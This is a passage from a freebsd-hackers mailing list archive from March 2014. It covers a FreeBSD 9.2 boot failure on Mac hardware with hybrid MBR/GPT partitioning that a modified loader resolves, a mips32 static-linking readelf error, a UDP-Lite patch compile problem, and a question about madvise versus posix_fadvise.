9.2 memstick: > => 34 976773101 ada0 GPT (465G) > 34 6 - free - (3.0k) > 40 409600 1 efi (200M) > 409640 974724960 2 freebsd-ufs (464G) > 975134600 200 - free - (100k) > 975134800 1638320 3 freebsd-ufs (800M) > 976773120 15 - free - (7.5k) > > => 0 974724960 ada0p2 BSD (464G) > 0 4194304 1 freebsd-ufs (2.0G) > 4194304 8388608 2 freebsd-swap (4.0G) > 12582912 33554432 4 freebsd-ufs (16G) > 46137344 2097152 5 freebsd-ufs (1.0G) > 48234496 926490464 6 freebsd-ufs (441G) > > => 0 1638320 ada0p3 BSD (800M) > 0 1619793 1 freebsd-ufs (790M) > 1619793 18527 - free - (9.0M) > > => 0 974724960 gptid/c1a23650-ed26-4f60-bb3f-b2ec4c766fae BSD (464G) > 0 4194304 1 freebsd-ufs (2.0G) > 4194304 8388608 2 freebsd-swap (4.0G) > 12582912 33554432 4 freebsd-ufs (16G) > 46137344 2097152 5 freebsd-ufs (1.0G) > 48234496 926490464 6 freebsd-ufs (441G) > > => 0 1638320 gptid/1437a1fc-3253-480c-8195-9f39cbced235 BSD (800M) > 0 1619793 1 freebsd-ufs (790M) > 1619793 18527 - free - (9.0M) > > => 0 31309824 da0 BSD (15G) > 0 1168848 1 freebsd-ufs (570M) > 1168848 30140976 - free - (14G) The ada0p3a partition is our installer image; it is only showing on this installation as the machine never completed the install and tidied that up afterwards. And da0 is the memstick, of course. All pointers and suggestions will be very gratefully accepted, this has been tying me in knots for the past few weeks. Paul. -- Paul Thornton From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 20 17:42:36 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7D2358DB for ; Thu, 20 Mar 2014 17:42:36 +0000 (UTC) Received: from mail.ignoranthack.me (ujvl.x.rootbsd.net [199.102.79.106]) (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 5B01678E for ; Thu, 20 Mar 2014 17:42:36 +0000 (UTC) Received: from [192.168.1.228] (c-24-6-179-71.hsd1.ca.comcast.net [24.6.179.71]) (using SSLv3 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: sbruno@ignoranthack.me) by mail.ignoranthack.me (Postfix) with ESMTPSA id 380EF192B1B for ; Thu, 20 Mar 2014 18:08:25 +0000 (UTC) Subject: readelf: Error: /usr/lib/libc.a: failed to skip archive symbol table From: Sean Bruno To: "freebsd-hackers@freebsd.org" Content-Type: multipart/signed; micalg="pgp-sha1"; protocol="application/pgp-signature"; boundary="=-hjv9M9NdLzp/QIIF4GzY" Date: Thu, 20 Mar 2014 10:42:32 -0700 Message-ID: <1395337352.7757.11.camel@powernoodle.corp.yahoo.com> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: sbruno@freebsd.org List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 20 Mar 2014 17:42:36 -0000 --=-hjv9M9NdLzp/QIIF4GzY Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable I've built a 32bit mips world/chroot. If I use sson's qemu tree and his kmod/binmissctl, I can enter the environment. =20 Right now, I'm investigating why static compilation fails inside the environment, which probably means I'm the first person to *ever* use the tool chain natively on mips32. Dynamic linking works just fine, but if I attempt to link -static, I get a failure. readelf and other tools seem to be unable to parse the .a files, but .so files are just fine. This is all inside the qemu-mips environment, if I examine the files on my amd64 machine, I never see these errors. I suspect some kind of arch/endian issue, but it eludes me at the moment. Ideas? # uname -a FreeBSD powernoodle.corp.yahoo.com 11.0-CURRENT FreeBSD 11.0-CURRENT #11 r263173: Sat Mar 15 13:31:08 JST 2014 sbruno@powernoodle:/usr/obj/usr/src/sys/POWERNOODLE mips # readelf -a /usr/lib/libz.a readelf: Error: /usr/lib/libz.a: failed to skip archive symbol table # readelf -a /usr/lib/libz.so ELF Header: Magic: 7f 45 4c 46 01 02 01 09 00 00 00 00 00 00 00 00=20 Class: ELF32 Data: 2's complement, big endian Version: 1 (current) OS/ABI: UNIX - FreeBSD ABI Version: 0 Type: DYN (Shared object file) Machine: MIPS R3000 Version: 0x1 Entry point address: 0x1450 Start of program headers: 52 (bytes into file) Start of section headers: 89788 (bytes into file) Flags: 0x20001107, noreorder, pic, cpic, 32bitmode, o32, mips3 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 5 Size of section headers: 40 (bytes) Number of section headers: 28 Section header string table index: 27 --=-hjv9M9NdLzp/QIIF4GzY Content-Type: application/pgp-signature; name="signature.asc" Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEcBAABAgAGBQJTKyiAAAoJEBkJRdwI6BaHEngIAI7Njtk6JzfVMyp0E9b23bkY QPVOuzGc9tYsKrrZHgVRfKYgMMal3hWAplNbKgtaC+aGkM/D1VA2Te2Ju36zfnIA wlFbeI8Csnx8x88u7V/qwvUBSQais3w2dmxUr4N57URXpvKWmSFU2QkUwZUqWyx0 trGgxq0F32wbjMvSJZFIBh+mlqt7aKRDLnP9H7cfVmGKvETE6hGsi9I2ZEDIZgWq SRzla9aDG4TXQAPinCdOlIR8aATz5LPgoFB8+MPBQbZ4jMe3v/Ww0sX8QVNRRRz0 CswFjpsTdctHKxwbmcMQDwIqx7km5vfLzikpmai/Yze81tOHi1XK26LzfK+hp2I= =YMcy -----END PGP SIGNATURE----- --=-hjv9M9NdLzp/QIIF4GzY-- From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 20 17:53:44 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx2.freebsd.org (mx2.freebsd.org [8.8.178.116]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 05F2AE06 for ; Thu, 20 Mar 2014 17:53:44 +0000 (UTC) Received: from butcher-nb.yandex.net (hub.freebsd.org [IPv6:2001:1900:2254:206c::16:88]) by mx2.freebsd.org (Postfix) with ESMTP id 50E247C1F; Thu, 20 Mar 2014 17:53:43 +0000 (UTC) Message-ID: <532B2AF9.6010800@FreeBSD.org> Date: Thu, 20 Mar 2014 21:52:57 +0400 From: "Andrey V. Elsukov" User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Paul Thornton , freebsd-hackers@freebsd.org Subject: Re: Changes between 9.1 and 9.2 affecting boot/loader/gpt discs References: <532B1EAC.8040407@prt.org> In-Reply-To: <532B1EAC.8040407@prt.org> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 20 Mar 2014 17:53:44 -0000 On 20.03.2014 21:00, Paul Thornton wrote: > All pointers and suggestions will be very gratefully accepted, this has > been tying me in knots for the past few weeks. Hello, Can you show the output of: # dd if=/dev/ada0 count=1 | hexdump -vC Also can you describe how exactly you configure the boot process? I.e. what you have in loader.conf, boot.config, how you install boot code? -- WBR, Andrey V. Elsukov From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 20 19:13:07 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E1640981 for ; Thu, 20 Mar 2014 19:13:07 +0000 (UTC) Received: from smtp3.mail.clearhost.co.uk (smtp3.mail.clearhost.co.uk [IPv6:2001:1420::25:103]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 8777A2D5 for ; Thu, 20 Mar 2014 19:13:07 +0000 (UTC) Received: from [2001:1420:a:104:1909:3187:736c:9d3b] (port=58010) by smtp3.mail.clearhost.co.uk with esmtpsa (TLSv1:CAMELLIA256-SHA:256) (Exim 4.76 (FreeBSD)) (envelope-from ) id 1WQiOn-000PuY-BJ for freebsd-hackers@freebsd.org; Thu, 20 Mar 2014 19:13:05 +0000 Message-ID: <532B3DC1.4070502@prt.org> Date: Thu, 20 Mar 2014 19:13:05 +0000 From: Paul Thornton User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: Changes between 9.1 and 9.2 affecting boot/loader/gpt discs References: <532B1EAC.8040407@prt.org> <532B2AF9.6010800@FreeBSD.org> In-Reply-To: <532B2AF9.6010800@FreeBSD.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 20 Mar 2014 19:13:07 -0000 Hi, On 20/03/2014 17:52, Andrey V. Elsukov wrote: > On 20.03.2014 21:00, Paul Thornton wrote: >> All pointers and suggestions will be very gratefully accepted, this has >> been tying me in knots for the past few weeks. > > Hello, > > Can you show the output of: > # dd if=/dev/ada0 count=1 | hexdump -vC This seems OK to me. I've diffed block 0 of the 9.1 install with the 9.2 install and the only difference was the extra partition (as the 9.2 machine hadn't completed its installation process and removed it). > 00000000 33 c0 8e d0 bc 00 7c 8e c0 8e d8 be 00 7c bf 00 |3.....|......|..| > 00000010 06 b9 00 02 fc f3 a4 50 68 1c 06 cb fb b9 04 00 |.......Ph.......| > 00000020 bd be 07 80 7e 00 00 7c 0b 0f 85 10 01 83 c5 10 |....~..|........| > 00000030 e2 f1 cd 18 88 56 00 55 c6 46 11 05 c6 46 10 00 |.....V.U.F...F..| > 00000040 b4 41 bb aa 55 cd 13 5d 72 0f 81 fb 55 aa 75 09 |.A..U..]r...U.u.| > 00000050 f7 c1 01 00 74 03 fe 46 10 66 60 80 7e 10 00 74 |....t..F.f`.~..t| > 00000060 26 66 68 00 00 00 00 66 ff 76 08 68 00 00 68 00 |&fh....f.v.h..h.| > 00000070 7c 68 01 00 68 10 00 b4 42 8a 56 00 8b f4 cd 13 ||h..h...B.V.....| > 00000080 9f 83 c4 10 9e eb 14 b8 01 02 bb 00 7c 8a 56 00 |............|.V.| > 00000090 8a 76 01 8a 4e 02 8a 6e 03 cd 13 66 61 73 1e fe |.v..N..n...fas..| > 000000a0 4e 11 0f 85 0c 00 80 7e 00 80 0f 84 8a 00 b2 80 |N......~........| > 000000b0 eb 82 55 32 e4 8a 56 00 cd 13 5d eb 9c 81 3e fe |..U2..V...]...>.| > 000000c0 7d 55 aa 75 6e ff 76 00 e8 8a 00 0f 85 15 00 b0 |}U.un.v.........| > 000000d0 d1 e6 64 e8 7f 00 b0 df e6 60 e8 78 00 b0 ff e6 |..d......`.x....| > 000000e0 64 e8 71 00 b8 00 bb cd 1a 66 23 c0 75 3b 66 81 |d.q......f#.u;f.| > 000000f0 fb 54 43 50 41 75 32 81 f9 02 01 72 2c 66 68 07 |.TCPAu2....r,fh.| > 00000100 bb 00 00 66 68 00 02 00 00 66 68 08 00 00 00 66 |...fh....fh....f| > 00000110 53 66 53 66 55 66 68 00 00 00 00 66 68 00 7c 00 |SfSfUfh....fh.|.| > 00000120 00 66 61 68 00 00 07 cd 1a 5a 32 f6 ea 00 7c 00 |.fah.....Z2...|.| > 00000130 00 cd 18 a0 b7 07 eb 08 a0 b6 07 eb 03 a0 b5 07 |................| > 00000140 32 e4 05 00 07 8b f0 ac 3c 00 74 fc bb 07 00 b4 |2.......<.t.....| > 00000150 0e cd 10 eb f2 2b c9 e4 64 eb 00 24 02 e0 f8 24 |.....+..d..$...$| > 00000160 02 c3 49 6e 76 61 6c 69 64 20 70 61 72 74 69 74 |..Invalid partit| > 00000170 69 6f 6e 20 74 61 62 6c 65 00 45 72 72 6f 72 20 |ion table.Error | > 00000180 6c 6f 61 64 69 6e 67 20 6f 70 65 72 61 74 69 6e |loading operatin| > 00000190 67 20 73 79 73 74 65 6d 00 4d 69 73 73 69 6e 67 |g system.Missing| > 000001a0 20 6f 70 65 72 61 74 69 6e 67 20 73 79 73 74 65 | operating syste| > 000001b0 6d 00 00 00 00 62 7a 99 b6 12 00 00 00 00 00 fe |m....bz.........| > 000001c0 ff ff ee fe ff ff 01 00 00 00 00 40 06 00 80 fe |...........@....| > 000001d0 ff ff a5 fe ff ff 28 40 06 00 60 1f 19 3a 00 fe |......(@..`..:..| > 000001e0 ff ff a5 fe ff ff 50 60 1f 3a b0 ff 18 00 00 00 |......P`.:......| > 000001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.| > 00000200 > Also can you describe how exactly you configure the boot process? > I.e. what you have in loader.conf, boot.config, how you install boot code? This is slightly complicated, made more complex by the Apple EFI implementation. The disc has to be MBR bootable, and as a result the machine ends up with both a GPT partition scheme and an MBR one. These two are in sync (so the partitions in the dump above correspond to the GPT partitions shown in the last mail) and although I'm not amazingly happy with this setup, it hasn't gone wrong until now. These partitions are created by a combination of fdisk, gpart, and manual adjustment to the partition table in an interesting dance to stop gpart from overwriting the entire MBR partition table with one single EFI protected partition - because if that happens, then the machine won't boot as there isn't a valid partition marked 0x80 in the MBR table. The installer itself is actually a minimal 8.3 system that does all of the newfs, extract, amend /etc files processes. Once it has finished building the new machine and unmounted the target disc, it uses bsdlabel to install the bootcode with the following: bsdlabel -B -b /root/bootcode /dev/ad4p2 Where /root/bootcode is the /boot/bootcode file copied from the 9.2 installation (ie: don't use the wrong bootcode from 8.3) and /dev/ad4p2 is the partition we were installing to. In previous testing, I tried variations on this - for example: gpart bootcode -B -b bootcode -p gptboot -i 2 /dev/ad4 however, that just wins you a 'Missing Operating System' or other early failures and doesn't even make it as far as the loader. Partition wise, p1 is an EFI boot partition (which is what the machine actually starts up from, and there is a somewhat magic "please boot the legacy partition on this disc" call which to the EFI BIOS, which then goes off and starts the MBR partition marked as bootable). p2 is the FreeBSD partition just installed, the majority of the disc. p3 is the small install partition which it runs from whilst installing. The Mac doesn't support pxe booting or anything like that so we're a bit stuck with having an install partition. The default install doesn't put anything in boot.config or loader.conf (unless a mirror has been created, in which case geom_mirror_load="YES" goes in there). Paul. -- Paul Thornton From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 21 06:04:19 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx2.freebsd.org (mx2.freebsd.org [IPv6:2001:1900:2254:206a::19:2]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 76296452 for ; Fri, 21 Mar 2014 06:04:19 +0000 (UTC) Received: from butcher-nb.yandex.net (hub.freebsd.org [IPv6:2001:1900:2254:206c::16:88]) by mx2.freebsd.org (Postfix) with ESMTP id C0AFB7775; Fri, 21 Mar 2014 06:04:18 +0000 (UTC) Message-ID: <532BD633.8050705@FreeBSD.org> Date: Fri, 21 Mar 2014 10:03:31 +0400 From: "Andrey V. Elsukov" User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Paul Thornton , freebsd-hackers@freebsd.org Subject: Re: Changes between 9.1 and 9.2 affecting boot/loader/gpt discs References: <532B1EAC.8040407@prt.org> <532B2AF9.6010800@FreeBSD.org> <532B3DC1.4070502@prt.org> In-Reply-To: <532B3DC1.4070502@prt.org> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 21 Mar 2014 06:04:19 -0000 On 20.03.2014 23:13, Paul Thornton wrote: > This seems OK to me. I've diffed block 0 of the 9.1 install with the > 9.2 install and the only difference was the extra partition (as the 9.2 > machine hadn't completed its installation process and removed it). >> 000001b0 6d 00 00 00 00 62 7a 99 b6 12 00 00 00 00 00 fe >> |m....bz.........| >> 000001c0 ff ff ee fe ff ff 01 00 00 00 00 40 06 00 80 fe >> |...........@....| >> 000001d0 ff ff a5 fe ff ff 28 40 06 00 60 1f 19 3a 00 fe >> |......(@..`..:..| >> 000001e0 ff ff a5 fe ff ff 50 60 1f 3a b0 ff 18 00 00 00 >> |......P`.:......| >> 000001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa >> |..............U.| >> 00000200 Hello, Your first sector contains several partitions and this is why the loader ignores partition table. From one side MBR has the PMBR partition, that needed for GPT, but PMBR isn't correct in your case. Actually your configuration is similar to what called Bootcamp, but it isn't correct bootcamp :) I modified the code to be less strict for you case. Can you try this loader? http://people.freebsd.org/~ae/loader -- WBR, Andrey V. Elsukov From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 21 07:38:01 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A237F775; Fri, 21 Mar 2014 07:38:01 +0000 (UTC) Received: from ns.kevlo.org (220-135-115-6.HINET-IP.hinet.net [220.135.115.6]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 57F6C3DC; Fri, 21 Mar 2014 07:38:00 +0000 (UTC) Received: from srg.kevlo.org (220-135-115-6.HINET-IP.hinet.net [220.135.115.6]) by ns.kevlo.org (8.14.8/8.14.8) with ESMTP id s2L7bbNw006594 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Fri, 21 Mar 2014 15:37:40 +0800 (CST) (envelope-from kevlo@FreeBSD.org) Message-ID: <532BEC4C.6080201@FreeBSD.org> Date: Fri, 21 Mar 2014 15:37:48 +0800 From: Kevin Lo User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: Joe Nosay Subject: Re: Definition struct and int References: <53269B0E.5020904@FreeBSD.org> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: FreeBSD Hackers , Adrian Chadd X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 21 Mar 2014 07:38:01 -0000 On 2014/03/18 08:05, Joe Nosay wrote: > On Mon, Mar 17, 2014 at 2:49 AM, Kevin Lo wrote: > >> On 2014/03/17 14:07, Joe Nosay wrote: >> >>> On Sun, Mar 16, 2014 at 1:07 AM, Joe Nosay >>> wrote: >>> >>> >>>> On Fri, Mar 14, 2014 at 5:43 PM, Joe Nosay >>>> wrote: >>>> >>>> >>>>> On Thu, Mar 13, 2014 at 9:26 PM, Adrian Chadd >>>>> wrote: >>>>> >>>>> Is this -HEAD, or? >>>>>> >>>>>> -a >>>>>> >>>>>> >>>>>> On 13 March 2014 18:13, Joe Nosay wrote: >>>>>> >>>>>>> Testing of a patch for using UDP Lite on FreeBSD caused no compilation >>>>>>> errors; however, after adding the options of "VIMAGE" and "MROUTING" >>>>>>> to >>>>>>> conf/kern?GENERIC, make buildkernel stops with: >>>>>>> /usr/src/sys/netinet/udp_usrreq.c:1701:18: error: too few arguments >>>>>>> to >>>>>>> function >>>>>>> call, expected 2, have 1 >>>>>>> udp_discardcb(up); >>>>>>> ~~~~~~~~~~~~~ ^ >>>>>>> /usr/src/sys/netinet/udp_usrreq.c:274:1: note: 'udp_discardcb' >>>>>>> >>>>>> declared here >>>>>> >>>>>>> void >>>>>>> ^ >>>>>>> 1 error generated. >>>>>>> *** Error code 1 >>>>>>> >>>>>>> The file in question of >>>>>>> /usr/src/sys/netinet/udp_usrreq.c >>>>>>> >>>>>>> has the value of >>>>>>> udp_discardcb(struct udpcb *up, int isudp) >>>>>>> >>>>>>> that is causing the problem. >>>>>>> >>>>>>> >>>>>>> >>>>>>> I believe that the compiler is looking for a value to int isudp but >>>>>>> >>>>>> that >>>>>> >>>>>>> value does not exist. >>>>>>> _______________________________________________ >>>>>>> freebsd-hackers@freebsd.org mailing list >>>>>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>>>>>> To unsubscribe, send any mail to " >>>>>>> >>>>>> freebsd-hackers-unsubscribe@freebsd.org" >>>>>> >>>>>> >>>>> No, it is 10.0 RELEASE #0 r262601 >>>>> >>>>> Last time, I had entered too many files. Here are the relative files. >>>>> >>>>> >>>>> There was no problem in compiling as listed earlier. I have not >>>>> studied >>>>> C enough to solve this problem; however, I can see that int isudp >>>>> happens >>>>> once while the next closest account is int isudplite. >>>>> >>>>> >>>>> I've just upgraded source to head. I have three patches for UDP Lite. >>>> The >>>> question is which one(s) should I use. >>>> >>>> The udp-v.diff only has a reference to udp_discardcb up, while patch >>>> udplite and udplite.diff have the struct and int references. >>>> >>>> >>>> Could someone possibly point me towards some online documentation that >>> would allow me to learn of a solution to this problem? This would be much >>> better because I would be solving and learning. >>> >>> Included are the three patches mentioned earlier. >>> >>> Yes, I will be looking at them again. >>> >>> Apologies for any noise and if I am coming off the wrong way. >>> >> Hi Joe, >> >> As I mentioned, my udp-lite's diff no longer applies cleanly against >> -HEAD. I've been busy lately and haven't got time to reply to your >> messages. >> Give me another day or two to cook up a revised patch for you to test. >> Thanks! >> >> Kevin >> > > Alright. The revised patch is available at: http://people.freebsd.org/~kevlo/udplite.diff Kevin From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 21 08:29:23 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 95CC24DC; Fri, 21 Mar 2014 08:29:23 +0000 (UTC) Received: from smtp3.mail.clearhost.co.uk (smtp3.mail.clearhost.co.uk [IPv6:2001:1420::25:103]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 5EA16A5C; Fri, 21 Mar 2014 08:29:23 +0000 (UTC) Received: from [2001:1420:a:104:1909:3187:736c:9d3b] (port=50980) by smtp3.mail.clearhost.co.uk with esmtpsa (TLSv1:CAMELLIA256-SHA:256) (Exim 4.76 (FreeBSD)) (envelope-from ) id 1WQupM-000BTj-KQ; Fri, 21 Mar 2014 08:29:20 +0000 Message-ID: <532BF861.1090701@prt.org> Date: Fri, 21 Mar 2014 08:29:21 +0000 From: Paul Thornton User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.0 MIME-Version: 1.0 To: "Andrey V. Elsukov" , freebsd-hackers@freebsd.org Subject: Re: Changes between 9.1 and 9.2 affecting boot/loader/gpt discs References: <532B1EAC.8040407@prt.org> <532B2AF9.6010800@FreeBSD.org> <532B3DC1.4070502@prt.org> <532BD633.8050705@FreeBSD.org> In-Reply-To: <532BD633.8050705@FreeBSD.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 21 Mar 2014 08:29:23 -0000 Hi On 21/03/2014 06:03, Andrey V. Elsukov wrote: > Your first sector contains several partitions and this is why the loader > ignores partition table. From one side MBR has the PMBR partition, that > needed for GPT, but PMBR isn't correct in your case. > Actually your configuration is similar to what called Bootcamp, but it > isn't correct bootcamp :) I know - the only way we can make it "work" is to have both MBR partition table and GPT table. These are in sync, so it shouldn't matter which one you get :-) The only proper fix for this on Mac hardware is to make it all EFI boot properly, but I gave up on that last time I tried (admittedly >1yr ago, so it may be better now). Apple don't support a full UEFI environment which is unhelpful. > I modified the code to be less strict for you case. Can you try this loader? > http://people.freebsd.org/~ae/loader Yes, this fixes it for 9.2 - I'll check 10 later but they both show the same problem so I think it will fix it. Thank you very much. What was the source change that fixed it? Thanks very much for the help, Paul. -- Paul Thornton From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 21 14:57:01 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 57AA357D for ; Fri, 21 Mar 2014 14:57:01 +0000 (UTC) Received: from mail-lb0-x22b.google.com (mail-lb0-x22b.google.com [IPv6:2a00:1450:4010:c04::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id D36C460E for ; Fri, 21 Mar 2014 14:57:00 +0000 (UTC) Received: by mail-lb0-f171.google.com with SMTP id w7so1738630lbi.2 for ; Fri, 21 Mar 2014 07:56:59 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:content-type:content-transfer-encoding:subject:message-id:date :to:mime-version; bh=M9OG/LbnW/atu6T3pVKMEKs9AYmOz32UvuIIlUTpbCo=; b=Sduvl8bBpe0qtp7Jp/6Y6MDmFhFl79yk5BfYYfOlZ6N0ObSZiyEOiGUBb67K3877YL 4rmJheBMFj/kA/ae+k3wBvdZtddxxcrimh44uvVoyKqNxCUCZK1ap+4PWGpJdfd/ncW3 IgPzaI4NKlz4eMqA34C9BJX8cJxqwOhyjca8/gvPDn0wZ8xt5OAbrf5A7EhiW01sA59G MgSsNFvrlNXZgLusTAzhxh5oPgrL7mv+jjgnxREh0UJjAvzEUr9qay1SWi0Ll+9I0WWH 6AJ1QcbryViDtc1WHqIw81wKnVQQnu2rN7ViKPk9EETu/5d+xfOXAok5NkDxTpo+E+41 vk+A== X-Received: by 10.152.19.7 with SMTP id a7mr34551292lae.16.1395413818964; Fri, 21 Mar 2014 07:56:58 -0700 (PDT) Received: from ?IPv6:2a02:6b8::408:4cae:e7df:68a0:8b9e? ([2a02:6b8:0:408:4cae:e7df:68a0:8b9e]) by mx.google.com with ESMTPSA id oy7sm3511962lbb.16.2014.03.21.07.56.56 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 21 Mar 2014 07:56:56 -0700 (PDT) From: Dmitry Sivachenko Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Subject: madvise() vs posix_fadvise() Message-Id: Date: Fri, 21 Mar 2014 18:56:54 +0400 To: hackers@freebsd.org Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) X-Mailer: Apple Mail (2.1874) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 21 Mar 2014 14:57:01 -0000 Hello! I have a program which uses large data files (read-only, via mmap()). These machines have a bit more RAM that these files occupy, so it is = possible to have all these data in memory. What techniques should I use to promote this data not to be purged from = RAM: -- madvise(MADV_WILLNEED) -- posix_fadvise(POSIX_FADV_WILLNEED) -- both? Some parts of this mmap()ed data is frequently accessed, some is not, = and I see that rarely accessed regions are purged from RAM. I want disk = cache (program writes large log files) to have lower priority, so disk = cache does not purge mmaped regions from memory. Thanks.= From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 21 16:27:19 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6BA93E6A for ; Fri, 21 Mar 2014 16:27:19 +0000 (UTC) Received: from smtp.fagskolen.gjovik.no (smtp.fagskolen.gjovik.no [IPv6:2001:700:1100:1:200:ff:fe00:b]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id CD771FC4 for ; Fri, 21 Mar 2014 16:27:18 +0000 (UTC) Received: from mail.fig.ol.no (localhost [127.0.0.1]) by mail.fig.ol.no (8.14.7/8.14.7) with ESMTP id s2LGRDuB018623 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 21 Mar 2014 17:27:13 +0100 (CET) (envelope-from trond@fagskolen.gjovik.no) Received: from localhost (trond@localhost) by 